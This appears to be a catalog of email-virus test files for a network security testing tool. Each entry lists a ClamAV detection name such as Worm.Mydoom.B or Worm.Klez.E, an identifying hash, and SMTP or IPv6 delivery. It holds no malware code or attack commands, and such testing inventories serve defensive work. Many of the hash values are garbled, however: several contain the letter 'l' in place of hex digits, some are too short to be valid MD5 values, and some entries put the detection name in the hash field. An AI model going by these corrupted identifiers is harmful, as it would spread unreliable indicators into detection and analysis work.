Executive Description:	Email Virus Worm.Gift.B
Detailed Description:	This is the email virus Worm.Gift.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6dd0e682d5aa648b9ab1f91b0d5a3c0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Brit.E.3033d2e9.xml
Executive Description:	Email Virus Worm.Brit.E
Detailed Description:	This is the email virus Worm.Brit.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3033d2e9d99668678d24a4fca7d05ac1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Heffer.d.d.fbff8e90_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Heffer.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Heffer.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Heffer.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.055697d6_IPv6.xml
Executive Description:	Email Virus Worm.Hatred.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 055697d68b3278441a3dc863ec4fce59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kondrik.b.575c9073_IPv6.xml
Executive Description:	Email Virus Worm.Kondrik.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kondrik.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 575c90738a639d3dcb7e2a0e22b7a4c4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rous.A.ab46b2fe.xml
Executive Description:	Email Virus Worm.Rous.A
Detailed Description:	This is the email virus Worm.Rous.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab46b2feb233f5ce78e01161c3688c02. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mir.2ab6b53b.xml
Executive Description:	Email Virus Worm.Mir
Detailed Description:	This is the email virus Worm.Mir as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2ab6b53b3c58f2ba7ed78ed6falaab1b5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.d0ala23f.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d0ala23f732d8881e7725e7334864c8a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Clown.a.c560bbd3_IPv6.xml
Executive Description:	Email Virus Worm.Clown.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c560bbd3a5e98519b57fc3f91a90eb94. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Magistr.A.poly.a3804d2c.xml
Executive Description:	Email Virus Worm.Magistr.A.poly
Detailed Description:	This is the email virus Worm.Magistr.A.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3804d2cd9dd2d44a6f3464d6457b9ca. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BD.7e8a6fca.xml
Executive Description:	Email Virus Worm.LoveLetter.BD
Detailed Description:	This is the email virus Worm.LoveLetter.BD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e8a6fcaa83d76cad8b12a601df067b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Sobig.D.70bc5688_IPv6.xml
Executive Description:	Email Virus Worm.Sobig.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sobig.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 70bc5688274647a7589a90691ddeb3d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.e4e7d15d.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e4e7d15d6de66de3ed6acec31ebb6f14. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.e.e.blcafbf0.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.e.e
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.e.e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noverus.ea2lee79.xml
Executive Description:	Email Virus Worm.Noverus
Detailed Description:	This is the email virus Worm.Noverus as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ea2lee7970334523d951b30a2c41e528. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Kazus.b.b.ed651d65_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Kazus.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Kazus.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Kazus.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zeam.b90df190.xml
Executive Description:	Email Virus Worm.Zeam
Detailed Description:	This is the email virus Worm.Zeam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b90df190ebbcbb96edeef146d1fb977. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Calposa.492cb47d.xml
Executive Description:	Email Virus Worm.Calposa
Detailed Description:	This is the email virus Worm.Calposa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 492cb47d844368063828cd74c5185alf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.WCGen.4c2b4d62_IPv6.xml
Executive Description:	Email Virus Worm.WCGen (IPv6 Version)
Detailed Description:	This is the email virus Worm.WCGen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c2b4d6277d92e554ae1369a8a4b68e2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.e7602fbf.xml
Executive Description:	Email Virus Exploit.IFrame.Gen
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e7602fbf6b9f4f230722c044bf2528b5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BB.b2cda449.xml
Executive Description:	Email Virus Worm.LoveLetter.BB
Detailed Description:	This is the email virus Worm.LoveLetter.BB as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b2cda449c00abcecc0f056416750052c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Melting.4784e42c_IPv6.xml
Executive Description:	Email Virus Worm.Melting (IPv6 Version)
Detailed Description:	This is the email virus Worm.Melting as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4784e42c3b15d1a141a5e0c8abc1205c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	W98.Hybris.E.40256df2_IPv6.xml
Executive Description:	Email Virus W98.Hybris.E (IPv6 Version)
Detailed Description:	This is the email virus W98.Hybris.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 40256df28df89975a6c586cf0432c881. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Fundll.218fe324.xml
Executive Description:	Email Virus Worm.VBS.Fundll
Detailed Description:	This is the email virus Worm.VBS.Fundll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 218fe324d7fe56749c00af8b4b7ea97. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Anar.A.c3993c02_IPv6.xml
Executive Description:	Email Virus Worm.Anar.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Anar.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c3993c02a91cb99e959da0053a8460ab. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.11d19b6_IPv6.xml
Executive Description:	Email Virus Backdoor.Rustock.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 11d19b60ae921ac90c2b73c2afe18e0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Timofonica.e9ab05c5_IPv6.xml
Executive Description:	Email Virus Worm.Timofonica (IPv6 Version)
Detailed Description:	This is the email virus Worm.Timofonica as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e9ab05c5659af392771008bf061f0f5b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Choke.1.484e156c.xml
Executive Description:	Email Virus Worm.Choke.1
Detailed Description:	This is the email virus Worm.Choke.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 484e156cb34961ec3d17b130ed805c05. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Entangle.ent.911e5ba3.xml
Executive Description:	Email Virus Email-Worm.Win32.Entangle.ent
Detailed Description:	This is the email virus Email-Worm.Win32.Entangle.ent as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Entangle.ent. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mari.b.6513e97c.xml
Executive Description:	Email Virus Worm.Mari.b
Detailed Description:	This is the email virus Worm.Mari.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6513e97cfff6656fd7b5a29859fe47d3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Redirect.9c031483_IPv6.xml
Executive Description:	Email Virus Worm.Redirect (IPv6 Version)
Detailed Description:	This is the email virus Worm.Redirect as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c031483784b849be5d0caf86bcff063. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.h.h.86883930.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.h.h
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.h.h. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.d.5e045198.xml
Executive Description:	Email Virus Worm.MyPics.d
Detailed Description:	This is the email virus Worm.MyPics.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e04519844fdclf080b1e8c15f648753. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AM.87993159_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.AM (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 879931599d63a160b9fd4dc3cc2ac8b4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SWMF.A.42ac9c0a_IPv6.xml
Executive Description:	Email Virus VBS.SWMF.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.SWMF.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 42ac9c0ab1d209d6edf9ba1010cdf945. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Horty.b.b.b22f1e9a.xml
Executive Description:	Email Virus Email-Worm.VBS.Horty.b.b
Detailed Description:	This is the email virus Email-Worm.VBS.Horty.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horty.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Angela.1d4cff52_IPv6.xml
Executive Description:	Email Virus VBS.Angela (IPv6 Version)
Detailed Description:	This is the email virus VBS.Angela as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 1d4cff52542336e930d189038bdbb31a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mydoom.B.cc6e6aa3_IPv6.xml
Executive Description:	Email Virus Worm.Mydoom.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mydoom.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: cc6e6aa338385fbb0a005ba3d3e060f3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.95ef42bd_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95ef42bd46b432bff07398e347faee62. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Wideman.8135.b.b.99519cea_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Wideman.8135.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Wideman.8135.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Wideman.8135.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Calgary.c.c.9661abf8.xml
Executive Description:	Email Virus Email-Worm.Win32.Calgary.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Calgary.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Calgary.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Maldal.b.b.2a0b92da_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Maldal.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Maldal.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Maldal.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.B.997f3291.xml
Executive Description:	Email Virus Worm.Brit.B
Detailed Description:	This is the email virus Worm.Brit.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 997f3291519385aa8b34c5cdc401f834. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.03.f3680ee3.xml
Executive Description:	Email Virus VBS.LoveLetter.03

Detailed Description:	This is the email virus VBS.LoveLetter.03 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f3680ee3f10aec63ac22b5ee21235b88. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Silver.1.63db7235.xml
Executive Description:	Email Virus W95.Silver.1
Detailed Description:	This is the email virus W95.Silver.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 63db723516db09bf837938254e8cb1d3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zokrim.c.c.03063822_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zokrim.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zokrim.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zokrim.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.8eb51eal.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8eb51eal54966ca89e87c4f7eff80b4c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Predec.h.h.ff761bbc_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Predec.h.h (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Predec.h.h as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Predec.h.h. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Roaller.roa.310db78b_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Roaller.roa (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Roaller.roa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Roaller.roa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	IRC.Anjuliej.A.72cl168a.xml
Executive Description:	Email Virus IRC.Anjuliej.A
Detailed Description:	This is the email virus IRC.Anjuliej.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72cl168a3c26f638e584d018faaf0696. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Junkboat.b.8ef82c44_IPv6.xml
Executive Description:	Email Virus Worm.Junkboat.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Junkboat.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ef82c44e2f1404c97ad765a953473ed. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Youzer.you.a489c2bd.xml
Executive Description:	Email Virus Email-Worm.Win32.Youzer.you
Detailed Description:	This is the email virus Email-Worm.Win32.Youzer.you as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Youzer.you. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Klez.E.a7d6779c.xml
Executive Description:	Email Virus Worm.Klez.E
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a7d6779c9a558a538bc77a5316041c4b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BL.2337a6cc_IPv6.xml
Executive Description:	Email Virus Worm.LoveLetter.BL (IPv6 Version)
Detailed Description:	This is the email virus Worm.LoveLetter.BL as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2337a6cc7169418e15e755dd43c9b1f8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.4a42956f.xml

Executive Description:	Email Virus Worm.Bagle.BB-gen
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4a42956f7ece688d0ab4f67bd279a2fd. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2cc4a4ac_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2cc4a4ac5baec223f3a8809b333b3c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.C.21dbca1c.xml
Executive Description:	Email Virus Worm.Totilix.C
Detailed Description:	This is the email virus Worm.Totilix.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 21dbca1c9215f718afb88fa6b1d3e7c7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.c0bf8276.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c0bf8276e4089a0a7bdcd06861b53a69. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AP.f7882c8d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AP (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AP as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f7882c8dac0e8611814fb74baaa0fec1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Stepaik.A.b66016c1_IPv6.xml
Executive Description:	Email Virus Worm.Stepaik.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Stepaik.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b66016c129bfdc061294729b93454c33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Lipossa.a.a.fa7fcf99.xml
Executive Description:	Email Virus Email-Worm.VBS.Lipossa.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.Lipossa.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Lipossa.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Lamerone.f23505a1_IPv6.xml
Executive Description:	Email Virus VBS.Lamerone (IPv6 Version)
Detailed Description:	This is the email virus VBS.Lamerone as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f23505a1be458284f34acd3b87659a2e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Poo.4f292a8e_IPv6.xml
Executive Description:	Email Virus Worm.Poo (IPv6 Version)
Detailed Description:	This is the email virus Worm.Poo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f292a8e2c921c17707deaf8c232d133. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manymize.man.5e26c953.xml
Executive Description:	Email Virus Email-Worm.Win32.Manymize.man
Detailed Description:	This is the email virus Email-Worm.Win32.Manymize.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manymize.man. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Hobat.A.0dd3ef0f.xml
Executive Description:	Email Virus Worm.Hobat.A
Detailed Description:	This is the email virus Worm.Hobat.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dd3ef0fce93d4b0d898feaed63a0f0f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Bagle.AG.2.eab0f022.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eab0f0225e152a61b7a83a47b2f620ae. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Rays.A.2a53b32f8.xml
Executive Description:	Email Virus Worm.Rays.A
Detailed Description:	This is the email virus Worm.Rays.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a53b32f891e1ec1bf71a3f3746d4bbb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.199adafa.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 199adafa25c013f9ade26e4e41d63f61. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Killav-31.ceafebaf.xml
Executive Description:	Email Virus Trojan.Killav-31
Detailed Description:	This is the email virus Trojan.Killav-31 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ceafebaf025f463def80307bdadb7cb4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Frekru.A.8245d806_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Frekru.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Frekru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8245d80681af850af635649d8a6220b3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MTX.plugin.Trojan.d4698441.xml
Executive Description:	Email Virus Worm.MTX.plugin.Trojan
Detailed Description:	This is the email virus Worm.MTX.plugin.Trojan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4698441dae48bb31b35aa2f5f7d78ab. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Delta.A.f0ed4e5b_IPv6.xml
Executive Description:	Email Virus Worm.Delta.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Delta.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0ed4e5bd8930229f7237f9dal827f08. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NatiDay.207486dl_IPv6.xml
Executive Description:	Email Virus Worm.NatiDay (IPv6 Version)
Detailed Description:	This is the email virus Worm.NatiDay as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207486dl302602714133ed92elc22e39. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Wozer.C.ab4771ab_IPv6.xml
Executive Description:	Email Virus Worm.Wozer.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wozer.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ab4771ab05c26c040d9e58d7971a3006. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.e26805de.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26805de2b66a154bff6be0c50631779. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Orkiz.1.a2eb64ae.xml
Executive Description:	Email Virus Worm.Orkiz.1
Detailed Description:	This is the email virus Worm.Orkiz.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2eb64ae5de370e74301c5400df85d00. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Backdoor.Rustock.B.0dace309.xml
Executive Description:	Email Virus Backdoor.Rustock.B
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0dace30934e7435a78140bc4bcl9ed30. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Rodybot.90163da0.xml
Executive Description:	Email Virus Worm.VBS.Rodybot
Detailed Description:	This is the email virus Worm.VBS.Rodybot as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90163da04a5f5ba460fc29b7b6fa4755. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.0c402e86_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
